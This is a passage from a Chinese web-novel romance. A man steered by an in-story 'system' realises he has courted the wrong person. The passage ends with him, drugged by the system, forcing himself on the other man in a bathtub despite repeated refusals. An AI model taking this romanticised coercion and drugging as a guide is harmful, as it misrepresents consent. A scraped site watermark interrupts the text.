秦恒钟看着他,竟然有些欣慰。
秦游在回国这么短的时间内,就能让崔凌这么言听计从,显然很有御下之道。
崔凌低着头补充:“小秦总禁止我干涉他的私事,他的私人行程,大部分是由彭秘负责。”
这种场面话,秦恒钟没有尽信。
崔凌是总助,就算不负责私人行程,也不可能对秦游的私事一无所知。
不过从崔凌口中的“禁止”和“干涉”,他听到一丝端倪。
至少,秦游对这个男人很看重。
对崔凌的禁令,不仅是防止崔凌过多干涉隐私,还有一点,正如现在发生的,就是避免通过崔凌,把这件事透露给他——
秦恒钟念及此,突然皱起眉来。
避免透露给他?
难道秦游早就有意瞒着他?
秦恒钟再看向崔凌:“你说秦游禁止你干涉,这是什么时候的事?”
这种问题,崔凌没有理由不回答:“就在小秦总在公司和祁经理起冲突之后,小秦总去泽水湾的那天。”
那一天?
秦游才刚回国,能认识什么人,还这么放在心上——
秦恒钟的脸色也突然变得难看起来。
秦游回国后交到的朋友,他就认识一个。
而那一天,这个朋友和秦游就住在同一家医院。
他一直以为他们只是一见如故。
所以他从不干涉秦游的交友状况,杉韵酒庄察觉两人交情匪浅,他也没有深想。
原来是这样。
秦恒钟按住扶手,语气已经初露怒意:“是严庭深?”
崔凌也听出他的变化,再听到这个名字,心头一凛,话也慢了一拍。
“我……”
秦恒钟已经从崔凌异样的反应里得到想要的答案。
是严庭深。
想到这个人,秦恒钟反而冷静下来,但态度也愈发坚决。
他必须让秦游和严庭深立刻分手。
如果秦游只是图一时新鲜,他或许还能徐徐图之。真的对男人动情却不行。
从视频里看,两个人感情正浓。
如果任由这段感情发展下去,更难收场。
何况秦游和严庭深在一起这么久,还一直瞒着他,已经说明这段感情在秦游心底的重要性。
他不能让秦游再这么肆意妄为。
趁时间还短,还没到非谁不可的地步,这两个人,必须分开!
秦恒钟转向管家:“打电话到泽水湾。”
管家说:“好的。”
可电话接通,秦游不在。
听到这个消息,秦恒钟面色不变:“他去哪了?”
“这个,秦先生没说。”
管家看秦恒钟的神情,挂断电话,忙又去拨秦游的私人号码。
崔凌早已经起身。
他站在一旁,看着秦恒钟背影,顿感压抑。
还是被发现了……
接下来会发生什么,他简直不敢想……
秦恒钟也忽然看向他:“小崔。”
崔凌下意识站正:“董事长?”
秦恒钟说:“今天的事,不要向秦游透露一个字。”
崔凌攥着拳,还是点了点头:“我明白……”
秦恒钟收回了视线。
崔凌把手机揣回口袋,嗅到周围山雨欲来的平静。
小秦总。
你只能自求多福了……
—
苍苑。
客厅。
系统的尖叫声压过裴笙最后一个字音,响彻秦游脑海。
【庭深?】
【严庭深?】
【这是主角的名字啊啊啊——!!】
秦游顿在原地。
一阵窒息的死寂正在蔓延。
裴笙一句话说完,正要往前,见秦游忽然不动,也停了一步。
秦游正看向严庭深。
系统的尖叫声已经微不足道。
即使没听到裴笙的那句话,没听到裴笙亲口说出的那个名字。
系统的几次重复也让他回过神来。
庭深?
这两个字让秦游从炽烈模糊的意识里抢回一分理智。
却也只有一分,仍然让他不由自主,脱口而出。
“你是严庭深?”
早已沙哑的低沉嗓音,说出这五个字,轻得像是一句错觉。
正尖叫的系统没有听到。
被隔绝在外的裴笙也没有听到。
和秦游视线交错、呼吸相对、亲密无间的严庭深,却听得清清楚楚。
只有五个字。
听到这句话,严庭深溅冰灼焰的目光钉在秦游的双眼,呼吸一再加重。
从未体会的怒火在胸膛翻腾,他极力压制,可试着推开秦游的手难以自制,在不知因何而起的寒意中颤抖。
他不必再问。
只需要这五个字。
一切曾解释不通的、他想知道的问题,都有了答案。
他不记得那场雪夜,是因为秦游认错了人。
救人的不是他。
秦游从小记在心底、想报答的人,不是他。
秦游想帮的人不是他。
秦游喜欢的人也不是他。
秦游想找的人,自始至终,都不是他。
“放开我……”他闭了闭眼,抿直薄唇,却听到自己沉重微乱的呼吸,让他的语气不再平静,“我让你放手!”
秦游按在他肩膀,看到他偏过的脸,也许是错觉,看到他闭眼时微红的眼眶。
“我——”
“秦游,请你让开。”裴笙也走过来,打断了他的话。
秦游握在严庭深肩上的手微微收紧,看出对方的不对劲,启唇想说什么。
但仍在升温热浪还源源不断在体内冲撞,他的意识没有彻底清明。
何况,他看到了严庭深的反应。
他怀里的人不是任务目标。
这么久,他攻略的人不是“阿笙”,是严庭深。
一切都是错的。
【天啊!!!】
系统还在晴天霹雳中崩溃,它难以接受现实,【宿主,怎么办啊,你把主角当成目标了,我们的任务彻底完了啊啊!!!】
忽地。
一阵手机铃声响起。
秦游最后看严庭深一眼,从沙发上起身,一言不发地从严庭深身上的外套口袋里拿出手机。
是秦宅的电话。
裴笙从他的动作看到他手上的伤,这才意识到刚才误会了,张了张嘴,转而说:“你受伤了?流了这么多血,包扎一下吧?”
严庭深也缓缓起身。
他穿着秦游的外套,闻言看向秦游的手,再抬眼——
秦游和他对视,也在下一秒一同收回视线:“不用。”
裴笙说:“可——”
“让他走。”
裴笙一怔。
他惊愕地看向严庭深,不能相信这句话竟然是严庭深说出来的:“庭深……”
严庭深侧过身,垂在身侧的手不觉狠狠紧握。
他没再去看秦游,语气似乎回到见面之初,冷淡沉峻:“秦总,请便。”
秦游又是一顿。
他把响铃的手机放回裤袋,也没再看他:“好。”
裴笙皱着眉,也顾不上再问,忙跟在秦游身后:“小秦总,你的伤必须先包扎!”
脚步声渐行渐远。
严庭深终于转脸,看到身前两道背影,看着秦游头也不回地离开,他下颚冷硬,片刻,轻轻又笑一声。
他知道裴笙不会放任秦游的伤不顾。
也知道秦游本性绝情,对无关的人,向来这样不留余地。
这样很好。
错位的关系,原本也该回归正轨。
但跟着秦游的裴笙却不明所以。
他快走两步拦在秦游身前,又看向严庭深:“庭深,你……”
刚才看到沙发上的血和庭深带血的衬衫,他以为秦游在争执间伤到了人。
现在看来,两人的确有争执,比他想得更严重,不止是秦游手上的伤,两人的感情好像也有了裂痕。
严庭深只看着似乎依旧无动于衷的秦游。
他已经做出决定,可掌心传来刺痛,心底喷薄已久的一句话,终于第三次问出了口。
“秦游,这段时间,你究竟——”
话到一半,他猛地醒神,又难堪地止住话音。
裴笙看向秦游。
秦游背对严庭深,也缓缓收紧五指。
室内安静如水。
严庭深呼吸轻缓,等着秦游最后的答案。
可等过良久,他看到秦游接着往前,只留下三个字。
他说:“对不起。”
第 59 章 他不是裴笙。
“小秦总, 小秦总!”
裴笙一路快步追在秦游身后,发现秦游对他的话充耳不闻,不得已往前跑了几步, 幸好还有管家带着药箱迎面走来, 才把人拦下。
“小秦总,你的伤还在流血,真的需要处理。”
裴笙坚持, “庭深如果知道,不会放心让你就这么离开这里的。”
闻言, 秦游压着略微粗重的呼吸, 随手从药箱里拿出一卷绷带。
管家要上前, 裴笙也正要开口——
“别再跟着我。”
秦游看了裴笙一眼, 缓缓把绷带缠在手掌, 只道, “你去看他吧。”
对上这道眼神, 裴笙却又是一怔。
这好像是第一次, 秦游在正眼看他。
好像他终于存在, 过去的误会也终于烟消云散。
但这双眼底, 还有一层让他看不透的深沉, 锋芒凛然,让他望而却步,下意识避开了目光。
秦游, 为什么用这样的眼神看他?
这个问题刚浮现。
裴笙还不知道该说些什么。
秦游已经收回视线。
裴笙看到他转身,才重看向他离去的背影。
视线再转向他左掌绷带里隐约的血色,裴笙不放心地跨前一步,想到他刚才的话,停了一秒, 皱眉对管家说:“麻烦把药箱送到车上。”
管家点头,立刻送了过去。
裴笙站在原地犹豫一会,转身回到客厅。
秦游的性格一直说一不二,既然把话说出口,他再过去,除了惹对方不快,没有任何作用。
庭深这次和秦游起冲突,竟然生气到这种程度,就像秦游说的,他需要过来看一看。
“庭深——”
刚走近,裴笙看得清楚,严庭深还在秦游离开时的位置,一丝一毫都没有动过。
裴笙下意识放轻了脚步:“他……走了。”
听到他的声音,严庭深道:“嗯。”
裴笙抿唇。
只听语气,只看神情,眼前的好友似乎和以往没有两样。
可此时此刻,他越是平常,就越是不同寻常。
裴笙走到他身前不远,想了想,半解释半劝:“他的伤还在流血,没有正式处理,你知道的,他一向只听你的,庭深,你要不要——”
蓦地。
严庭深抬眼看他。
裴笙心头一跳,猝不及防下,往后退了半步:“……庭深?”
他同样从没见过好友这样的眼神。
霜雪似的寒意浸在眸光,这眼神让他几乎感到害怕。
所幸这道视线没有在他脸上停留太久。
严庭深转身,只淡声道:“你回去吧。”
裴笙看着他,心里涌着担心:“你今天让我过来,不是有事要谈吗?”
严庭深说:“不必了。”
裴笙又是一阵迟疑,还是把话说出口:“庭深,刚才我看小秦总脸色好像不太对,除了手上的伤,他可能还有其他地方不舒服。”
严庭深脚步顿住。
秦游中了药,这一点,秦游一开始就提过。
裴笙见他松动,往前一步:“而且他临走之前,还让我过来看你。他对你,一直都很关心。”
严庭深听着,堪堪平复的心绪冲撞桎梏,再起繁乱。
无言的沉默中。
裴笙试着询问:“庭深,你和小秦总之间是不是有什么误会?需要我帮忙吗?”
听到这一句,严庭深缓缓睁眼。
他紧握的手也缓缓松开,再开口,语气依然如常:“他很快会去找你。”
裴笙不明所以:“什么?”
严庭深没再继续这个话题:“回去吧。”
裴笙看着身前专断的背影,只好依言离开。
比起秦游,他当然更了解严庭深。
这两个人都不是他能说服的对象,面对严庭深,他更没有说服的底气。
不过,从小到大,庭深从不会受负面情绪影响。
这一次,应该也不会例外。
毕竟严庭深这座高山之所以无法攀越,不仅体现在他的能力,也体现在他永远理智的头脑。
至少——
裴笙回想着。
——不论如何,两个人没有争吵,彼此都还心平气和。说不定过了今夜,就能和好如初。
想到这,裴笙回头看了看。
严庭深已经出了客厅,上楼回到卧室。
站在这间熟悉、却陡然空旷的房间,他住脚,窒息的安静随即四面八方包拢过来。
严庭深抿直薄唇,转身再走向书房。
然而这时,敲门声响起。
“先生。”
管家进了门,先把手里的东西放在桌面,“药箱已经送到秦先生车上了。”
严庭深没去看他:“嗯。”
“还有秦先生今天送的花——”
严庭深倏地回身。
看到桌上娇艳绽放的黄色玫瑰,他的双眼一错不错,下颚冷硬如铁。
“——因为需要清洗,所以用了一些时间。”
管家说,“请您放心,没有碰到里面的花——”
他的话被冷不丁打断。
“出去。”
管家一愣。
他没有违背雇主的意愿:“好的。”
关门声响起。
严庭深看着桌上被遗忘的花束,走到桌边,本想拿起它扔进垃圾桶,但抬手过去,才看到花瓣上溅着零星刺眼的红点。
是秦游的血。
严庭深悬在花上的手微微一颤。
血色裹挟着不久前正发生的场景浮现脑海,他看着这束玫瑰花,呼吸早已在不知不觉间加重。
这不是送给他的花。
秦游送花的对象,从不是他。
是裴笙。
秦游想见的人,只有裴笙。
严庭深压抑着不该波动的情绪。
耳边却有三个字响起。
‘对不起。’
秦游不留余地的背影也悄然在眼前闪过。
严庭深的手缓缓握拳,看着这束从不属于他的花,一再按捺的情绪忽然强压不住。
他猛地挥手,桌上的花瓶飞落地面,摔得粉碎。
听到这声脆响,严庭深醒过神,抬手按在桌面,良久,继续走向书房。
回到桌前,打开电脑,打开邮件——
严庭深的指腹敲在键盘,目光惯性被一旁的玻璃碗吸引。
其貌不扬的干梅花安静躺在碗里,似乎还散发着熟悉的清淡香气。
严庭深的手忽地停了。
只是不知按在哪里,邮件关闭。
他收回视线,再重新打开。
写下的内容全部清空,分明不值一提,却在他心底油然塞进一团怒火,烧得愈演愈烈。
打字的手被燃烧起的火气沾染,反而冷得轻颤。
严庭深垂眼看见,先是沉默,转而松手搭在桌面。
片刻,他再抬手,又两次误触按键。
在这瞬间,前所未有的怒火填满胸膛。
严庭深呼吸粗重。
生平第一次,他的行动不受理智操控,被一时的冲动驱使。
他砸了键盘,起身把电脑一把挥落地面,动作间,桌上一应用具“噼里啪啦”摔了满地,文件也纷纷扬扬,雪片似的飘洒——
唯独那碗干梅花,完好地待在桌边角落。
严庭深站在周围的狼藉里,正要把它也扫进这堆垃圾,脚下不巧被绊住。
他握拳按在桌面,还没站稳,脑海里的声音已经如影随形。
‘昨晚,我去了青宁路。
‘我想回我们小时候遇见的地方看一看。那里还是和以前一样。’
严庭深握拳的手越收越紧。
他不想再听到这个声音。也不想在这里再多待一分一秒。
他越过桌椅,回到卧室,拉开阳台的门,借室外冰冷的空气冲洗反复涌动的杂念。
但站在阳台,他的视线穿过庭院,一眼看到院外门前。
秦游曾站在那。
曾经多少次,就在那盏灯下,全是秦游和他道别。
严庭深沉眸收回视线,转身要走,又对上推拉门的玻璃镜面,他身上的这件外套。
玻璃门上的身影模糊不清,在灯光下,这件外套的轮廓又是熟悉的身形。
他难以抑制地记起刚才,记起秦游穿着它来到面前。
记起秦游最后一次把他当成裴笙,记起秦游问出口的那五个字——
手上传来剧痛,严庭深扫过面前带血的玻璃裂纹,理智才后知后觉地苏醒。
他抬起还在轻颤的右手,开门回到卧室,脱下外套,正穿衣服,又看到左腕上一阵反光。
严庭深停在原地。
石青色的表盘。
表盘左上角的梅花纹样,在灯光下清晰可见。
严庭深看着它,喉咙里溢出一阵更难抑制的轻笑。
秦游送他的所有礼物,他都从没提过,是秦游摸索的结果。
现在看来,秦游想摸索的,不是他的喜好,而是对那段他根本没参与的过往、给出的补偿。
严庭深抬手去解表带。
可颤抖的右手毫无力气,血迹浸湿的指腹也在干扰,他几次尝试,几次徒劳无功。
他没有停下动作。
他不是裴笙。
那么这不是属于他的礼物。
直到许久。
严庭深摘下手表,走到垃圾桶旁。
他拿着它送到打开的垃圾桶上方——
但再过良久,他掌心钝痛,又缓缓收手,随即按铃让管家上来。
管家进门,吓了一跳:“先生!”
接着看到地上的碎片,他眼神又是一震,下意识看向雇主,看过伤口,他眼神飘忽,很快找到推拉门上崭新的裂痕。
见雇主脸上毫无异色,他连忙往前几步,结果不小心看到和卧室连通的书房,看到书房里的情形,不禁惊愕地睁大了眼睛。
“这……”
严庭深只道:“把我的表找回来。”
管家强迫自己先回应雇主的交代,语气难掩震惊:“……好的。”
严庭深没去在意。
他正要把手里的表递给管家,顿了顿,又回身到床边,拿出表盒,把它放回。
送错的礼物,既然不属于他,物归原主也好。
管家已经立刻去找来雇主曾戴惯的那块表,交给严庭深后,才小心地问:“先生,这里……帮您收拾干净,还是先帮您另外收拾一个房间?”
严庭深说:“不用了。”
管家还想再问。
“备车。”
管家一愣。
他不明白,雇主怎么会在这种状态下准备出门。
可对方的交代,他只有听从:“好的。”
严庭深已经出了卧室。
他把表盒装进口袋,离开的背影,没再回头。
第 60 章 那是严庭深的眼睛。
【警告!当前关键进度出现剧烈波动, 无法精准捕捉,请注意补充空间能量。】
系统倒吸一口凉气,还没把自己从绝望里拔出来, 又陷入更深的绝望:【宿主, 我们的空间能量没了,重要剧情节点任务失败,不能抵消惩罚了!】
见宿主始终闭眼倚在靠背, 好像把生死置之度外,它忍不住哭了。
【呜呜呜宿主永别了……】系统伤心告别, 【我会永远想念你的——哎?】
突然看见结算栏里的内容, 它愣住了。
【空间能量:-1单位】
系统愣了半天, 还是没搞明白。
能量值怎么会出现负数啊?
它连听都听说过这种情况!
系统立刻上报主系统, 查询原因。
之后在焦急的等待中收到回复, 它又立刻转悲为喜:【宿主太好了, 我们有救了!】
它根据回复解释着:【这个关键进度, 是在任务失败之后开始波动, 惩罚已经抵消完成。但因为现在进度不能捕捉, 所以主系统判定不足以抵消惩罚, 收回了之前抵消的能量……幸好任务之外扣除能量不算惩罚, 主系统给我们提醒,只要我们完成下一个任务,把能量补齐就好了!】
宿主还是没有回应。
心里最担心的巨石落了地, 系统则轻松不少。
宿主的沉默让它被迫安静,可也没安静太久。
【我现在全明白了……】
系统忍了又忍,还是耿耿于怀,【怪不得目标的好感度一直不涨也不掉;怪不得任务每次明明做完了,还是判定失败……原来根本就是认错人了!】
它不停地翻看面板, 试图从既定的事实里找出主系统的纰漏。
【都是主系统的错!】系统怨天怨地,【这么严重的攻略偏离,竟然没有一次提醒,要是收到过提醒,怎么可能会发生今天的事嘛!】
事情到这个地步,它都不奢望能在一开始纠正错误。
可是至少在重要剧情节点发生之前,主系统应该提醒啊!
现在好了,宿主对着主角强取豪夺,本来是被拯救的目标,及时赶到救了主角……
一回想刚才的场面,系统就线路发麻。
全都乱套了啊!
主系统到底是干什么吃的!
它没发现,是情有可原。系统理直气壮地想。
它得到的信息里没有图像资料,也没有识别角色信息的权限,当然发现不了——
翻到好感度页面,系统又感到愤怒。
还有这个目标!
他的好感度到底是怎么涨的!
宿主都不在他身边,也没和他说过几句话,他怎么自己莫名其妙地对着宿主胡思乱想,还每次都在敏感时间升降好感度,害得宿主从头到尾都没怀疑过主角的身份。
都是目标的错!
系统生气地想着,很快翻到任务列表。
看到接连三个同样的鲜红判定,它又感觉到一丝绝望。
把主角错认成目标,就算好感度没减,可宿主和目标的相处、应该共同经历的剧情,都变成陪主角风花雪月了……
错得这么彻底,还有纠正的可能吗?
系统下意识去看秦游。
它等了又等,忍了又忍,还是小心翼翼地出声:【宿主,你说句话呀……】
汽车在疾驰。
秦游闭着眼,听着耳边系统的吵吵闹闹。
他已经有意压制思绪,却仍旧不止一次,记起那双早已熟悉的眼睛。
冷漠的;平淡的。
专注的;关心的。
担忧的;急切的。
他见过对方眼底所有的变化,也记得那双眼睛笑起来的模样——
但曾经的一切变化,都被由怒气染红的眼眶覆盖。
今晚,那双含怒质问的眼睛,是他第一次见到。
那是严庭深的眼睛。
只从眼神,他看得出对方心里的愤怒。
被当成另一个人的愤怒。
以及,纯粹对他的勃然怒火。
他理解这份怒火的来由。
他也了解对方的性格,恐怕难以忍受这样的“羞辱”。
再者,在“真相大白”之前,他的所作所为,严庭深又能忍受多少?
秦游眉间微动。
其实他不该走。
从绝对理智的角度考虑,他应该留下。
把事情对目标解释清楚,可以保留任务进度。
主角一向对他的“感情”避之不及,也能趁机摆脱这个麻烦。
一举两得,皆大欢喜。
秦游压着呼吸。
但药效还在发挥作用,比上一次来得更迅猛。
混沌的意识很难支撑一场清醒的交谈,在那个瞬间,他只听到那道声音。是故作冷漠的伪装。
以他的了解,对方不会回避矛盾。
也许心火难平。
也许真相一目了然,没有再追究的必要。
不论出于什么原因。
这件事,严庭深不想谈。
对方最后唯一问出口的问题,只有半句。
而这半句没问到底的究竟,他也无话可说。
【宿主,任务做成这样,该怎么办啊……】
系统焦头烂额,【按照正常流程,你和主角应该是情敌才对,现在反而你和情敌的关系,比情人还要好,你要不要趁下一个任务触发之前,先和真正的目标多交流交流,见见面呀?】
秦游抬手按在前额。
良久,他终于问它:【你确定,这次用的药量和上次一样?】
【……】喋喋不休的系统突然闭嘴。
秦游道:【说话。】
系统支支吾吾起来:【……稍微多一点点。】
秦游皱眉。
系统为自己辩解:【……宿主,上次你虽然对目、不是,对主角又亲又摸,可摸了那么几下就停了,完全不够这次的任务标准,我也是想帮你尽快适应角色,度过这次剧情……】
它越说,声音越低。
可它没想到,上次药量太低不够标准,这次好像又太高了……
要不是有任务在身,兼负提醒的重任,它八成在宿主动手的时候就被关进小黑屋了。
不过它还是很有分寸的,这个药量不会对宿主的身体产生伤害,按数据来看,也不会影响宿主的神智。
从现在宿主还在清醒地问它药量就能看出来了。
之前……
应该是任务需要,也是和上次差不多,宿主有一点被药物作用影响吧……
系统心虚地说完,又小声补充:【要不是目标搞错了,任务确实很顺利嘛……而且宿主你放心,也是新陈代谢两个小时就好,现在都过去半个多小时了。】
秦游随手打开车窗。
入夜的寒风呼啸而过,却也只带来短暂的凉意。
系统看得胆战心惊:【宿主,你现在穿得这么少,手上又有伤,建议保持车内温度,否则会生病的!】
秦游没太在意。
回到泽水湾,他开门下车,往前没走两步,又在原地顿了顿。
从副驾驶下来的项海峰迅速跟上来。
“秦总。”项海峰落后秦游半步,忙说,“医生就在里面,先处理伤口吧?”
秦游摆手示意,进门后独自上楼回了卧室。
管家一路小跑着跟上去,还没来得及出声,眼前就只剩下雇主走进浴室的背影。
很快,水声响起。
管家看向迟了一步过来的项海峰,两人面面相觑,只好退了出去,回到楼下等待。
大约十分钟,项海峰听到耳机里的声音,皱了皱眉。
有车进来?
他正要说话,忽然想起。
能不需要通报、一路畅通无阻开进来的车,除了老板自己名下的,就只有一辆。
是那一位?
—
门外。
汽车停稳,司机从车上下来,为老板打开车门。
寒风刹那灌进车厢。
严庭深睁开双眼,转向车门外。
这栋近来时常往返的别墅,今天看来,似乎格外陌生。
司机安静等在车边,一个字也没多说。
不多时。
严庭深微抿薄唇,收回视线:“回去吧。”
司机有些惊讶,意外地看了看老板,才回道:“好的。”
老板没有解释的习惯。
他也没有多嘴,话落就关了车门。
透过车窗,严庭深又看向窗外。
三十分钟车程,足够让他清醒。
没错。
他承认。
被秦游当作裴笙、这样可笑的误会,的确让他感到难堪。
想到这段时间的相处,想到秦游这段时间对他倾注的所有感情,想到他却因为这段错位的感情、把秦游视作真心朋友——
严庭深眸光沉凝。
他承认,想到秦游一切情感的源头,都来自四岁和裴笙遇见的那次雪夜,而不是真正对他生出的交情,他的确感到被戏弄的不快。
但他也很清楚,这件事,不是秦游有意为之,只是一场阴差阳错。
他需要和秦游平心静气的谈一谈,之后他会把礼物还清,把这段秦游恐怕已经后悔的交情搁置,让秦游和裴笙继续迟来的重逢。
只是,不是现在。
今夜秦游中了药,身上有伤,原本也不方便。
至于礼物,也不急一时。
驾驶座的门这时打开。
严庭深再次收回视线,忽然听到车窗传来两声扣响。
他循声看过去。
是秦游身边的人。
看到车窗落下,项海峰忙说:“不好意思,打扰您了。”
严庭深道:“什么事。”
项海峰在这位老板的朋友面前,向来很不自在,听到他平淡却尽显强势的语气,更是心头忐忑:“是秦总那边,我想请您帮个忙……”
严庭深转眼看他。
项海峰当即解释:“秦总可能没告诉您,他上车的时候手受了伤,伤口一直没处理,还在流血,回来之后,也没和医生见面,就直接去浴室洗澡,到现在都没出来。”
严庭深眉间微蹙。
项海峰说:“您看……能不能麻烦您去劝劝,至少把伤先处理一下?”
严庭深轻轻按在扶手,一时未置可否。
项海峰有些奇怪。
平时这两位,对方一有什么事,不用说就关心上了,今天这是怎么了,到门口不进去就算了,现在还要他劝?
“伤口不及时处理就去洗澡,很容易感染,对愈合也有影响……”
项海峰看着严庭深的神色,“秦总回来的时候,又一路开着车窗……”
严庭深眉间痕迹又起:“开着车窗?”
项海峰点头:“是啊,下车的时候,脸色也不太对——”
话音没落。
车门从内开了。
项海峰赶紧后撤一步,让出身位。
等人下车,他还想再添点油加点醋,结果刚抬头,眼前只剩一个背影,他连忙跟了上去。
管家也在门前等着,见到严庭深,忙说:“秦先生在卧室。”
严庭深颔首,轻车熟路穿过前厅,上楼到了秦游卧室。
门是开的。
他在门前停顿,隐隐听到里面传来的水声,才接着进去。
项海峰和管家跟到这里,对视一眼,默契地转身走了。离开前贴心地关了房门。
严庭深没听到身后的动静。
到浴室前,他又是一顿,抬手良久,才敲响玻璃门。
“秦游?”
门内水声依旧,没有任何回音。
严庭深蹙眉再敲一次,都是一样的结果。
他等了等,视线渐渐往下,落在门把手。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
60-70
第 61 章 “帮我。”
“泽水湾?”管家看了看沙发上的秦恒钟, 又问了几句,才挂断电话。
崔凌在秦恒钟对面,如坐针毡。
管家说:“老爷, 小项说, 游少爷已经回了泽水湾,只是身体不太舒服,所以没接电话。”
秦恒钟皱眉:“身体不舒服?”
半个多小时, 管家给秦游打了几通电话,只有最后一次接通, 秦游也只说了一两句话, 根本不给旁人接口的余地, 否则他也不会联系项海峰。
管家说:“听说是手上也受了伤。”
秦恒钟说:“怎么又受了伤?医生怎么说?”
崔凌也看了一眼挂断的电话。
二世祖自从回国, 三天两头的生病受伤, 确实是有点频繁。
管家说:“受伤是一个小意外, 不过游少爷没看医生, 直接回房休息了。”
秦恒钟又皱起眉。
他想到什么, 看向桌上早已黑屏的平板:“他今晚去哪了?”
听到这个问题, 管家犹豫了一下, 才回:“小项说得不太清楚。”
闻言, 秦恒钟不知道该欣慰还是气恼。
秦游把身边的人全都收服,能力毋庸置疑。
可偏偏秦游这点能力从来不放在公司的正经事上,全用来隐瞒这段感情, 大材小用,简直是胡来。
但这也让他几乎可以确定,秦游今夜又去了严庭深家里。
想到这,秦恒钟的脸色不太好看。
之前得知秦游和严庭深走得近,他就有这样的顾虑, 严家是个龙潭虎穴,秦游贸然闯进去,会把自己弄得遍体鳞伤。
苍滨的刺杀还没彻底调查清楚,秦游又有了新伤。
只为秦游的安全问题,他现在也必须插手干预了。
“董事长——”
秦恒钟回过神,直接从沙发上起身。
崔凌见状,告辞的话被打断,跟着站起来。
“备车,去泽水湾。”
“……”崔凌的脚步停了。
泽水湾他还是不去了。
看这架势,他和董事长一起出现,可能会被二世祖当成告密的奸细。
秦恒钟也注意到他的迟疑,只说:“小崔回去吧。记住我刚才说的话。”
崔凌听出是在提醒他不要把行踪透露给秦游,低头说:“好的。”
秦恒钟看他一眼,继续走向了门外。
崔凌一路跟在门口,目送秦恒钟的车远走,才上了自己的车。
开车离开秦宅,他摸到手机,犹豫再三,还是给秦游打了一通电话。
二世祖虽然整天不务正业,还拿奖金威胁他,可实际上没有真正让他付出过一次代价,反而是一再放权给他,对他的信任、连他自己有时候都不敢置信。
就算知道秦游大概是懒得处理公务,但给他的好处是货真价实的。
拿了秦游的好处,却在秦游可能遇到麻烦的时候,选择视而不见——
这种恩将仇报的人,他注定当不成。
耳机里很快传来回铃声。
“嘟——”
—
泽水湾。
主卧。
来电铃声突兀响起。
严庭深看进门内,眉间紧蹙。
门内还是没有动静。
水声没停。
来电没人接听。
他记起项海峰的话。
‘——到现在都没出来。’
严庭深看过时间,他比秦游更晚出来。
秦游自从回来就在浴室,那么已经在里面将近十分钟。
“秦游,如果你还清醒,说话。”
严庭深往前一步,听着门内毫无变化的水声,眉间又蹙起,他不再空等,抬手握在门把手,缓缓打开房门。
推开之前,他开口提醒,“我进来了。”
话落,他循声转向水流声传来的方向,视线始终落在正前方,没有往下偏移半分。
但走近,他看到淋浴下空无一人。
严庭深皱眉更沉,正要转身,才看到不远处,秦游正闭眼倚在浴缸里,身上还穿着离开苍苑时的单薄衣服,他曲肘搭在边缘,小臂微微垂在浴缸外。
正响铃的手机就在他左侧掌下的地面。
来电还没挂断,屏幕亮着,无人问津。
血色掺着水迹从他手掌随意包裹的绷带里沿着指腹滑落,也落在地面,随着水流蜿蜒四散。
看到这一幕,严庭深眸光骤然凝结。
他大步往前,走到秦游身旁:“秦游!”
似乎听到他的声音,秦游眼睑微动。
严庭深俯身按在秦游肩膀,才感觉到浴缸里的水冷得像冰——
他抿直薄唇,手上的力道更紧,看向秦游的眼神带着无法自知的薄怒:“你在拿自己的身体开玩笑吗!”
秦游双眼半睁,看到熟悉的脸在面前晃动,他闭眼笑了一声,抬手轻轻拍了拍严庭深的脸:“别吵,让我睡一会。”
严庭深一把扣住他比冰更冷的手,沉声道:“出来!”
灼热的掌心不防贴紧,秦游脸上的笑意微滞,又缓缓睁眼,看向身旁。
严庭深没注意到他的视线,只握住他的左手,又绕过他肩颈扶在他右臂,把人从浴缸里扶正:“站起来。”
秦游动作微紧,从冷水借来最后的一丝清醒,挥开了他的手:“……离我远点。”
严庭深对他毫无防备,被推得往后踉跄一步,闻言,倏地抬眼看他。
但看到他分明浑身冰冷,却依旧泛红的薄唇,严庭深微沉的神色悄然又平缓。
“我知道你中了药,我送你去医院。”
严庭深道,“这种方式只会让你生病。”
见秦游作势要躺回去,他蹙起眉,索性直接打开了出水口。
水平面迅速下降。
被凉意压制的热潮迅速死灰复燃。
秦游渐渐察觉,皱眉抬手开水,却又被严庭深拦下。
“我送你去医院。”
秦游顿住。
手背传来的体温暖得惊人,却轻易纾解他体内同样滚沸的热浪,比起冷水的一时作用,这分暖意更像沙漠里的水源。
是连他也难以拒绝的解药。
他看向严庭深。
察觉掌下不再有动作,严庭深松了手,正要起身去拿浴袍。
秦游身上全部湿透,即使有暖气,穿着湿冷的衣服也没有好处。
何况秦游在冷水里泡了不知多久。
刚从室外回来,走进暖房,又进冷水池。
秦游的身体一直不算好,这两次冷热交替,生病已成定局,他只能尽量避免病得更重。
还有秦游手上的伤,没及时处理——
蓦地。
收回的手忽然被握住。
思绪被打断,严庭深回眼,看到秦游正看过来。
带着凉意的湿润手掌握住他的手,又缓缓往上,按在手腕。
严庭深以为秦游要借力起身,反握住这只手。
但他还没来得及把人扶起,手上冷不丁传来一阵重力。
秦游把他的手拉到面前,贴在侧脸,见他被浴缸绊住,脚下不稳,行动早已快过理智,手上再用力,直接把人拉进怀里。
严庭深无处借力,被他带倒,摔下时按在浴缸边缘,还是无济于事。
“秦游——”
秦游右手揽在他腰后,拇指压在他开合的嘴唇,视线落在他微怒的眉眼,低声问他:“你放了我的水,那就由你,代替它帮我,怎么样?”
严庭深浑身紧绷,试着起身:“不怎么样。”
秦游把他压回身前,又把人换到身下,单腿抬膝顶入他腿间,缓缓往上:“那你有什么解决办法?”
被迫困在狭小逼仄的浴缸,双腿被压制无法动作,严庭深脊背僵硬:“你先松手,我送你去医院。”
“医院?”
秦游俯身,和严庭深紧贴的侧脸不再受燥热炙烤,他呼吸微重,往下贴得更紧,“太慢了……太迟了……”
“……”严庭深抿唇,抬手按在他肩膀,转身要走。
秦游垂眸看到他手背骨节的伤口,微微皱眉,又扣住他的右手,牵到眼前:“你受伤了?”
严庭深沉默片刻,只道:“……你先放开我。”
秦游再把这只手牵到唇边,轻轻吻过。
“……”严庭深正按在浴缸边缘借力的左手骤然收紧。
手背传来的触感久久停留,柔软,温热,带着细微的刺痛,仿佛顷刻钻进血肉,在手臂游走。
秦游吻过他的手背,把他的手带到颈后,俯身吻过他微怔的眼,吻过他的唇,再贴近他耳边,轻声说:“帮我。”
衬衫的纽扣被解开,严庭深回过神,沉声道:“秦游,放开我!”
秦游随手从他裤腰扯出下摆。
逐渐滚烫的手顺势而上,严庭深浑身绷得更紧,下意识攥住秦游颈后冰凉的衣领。
湿润柔软的触感从上而下,吻过颈侧,吻到胸膛——
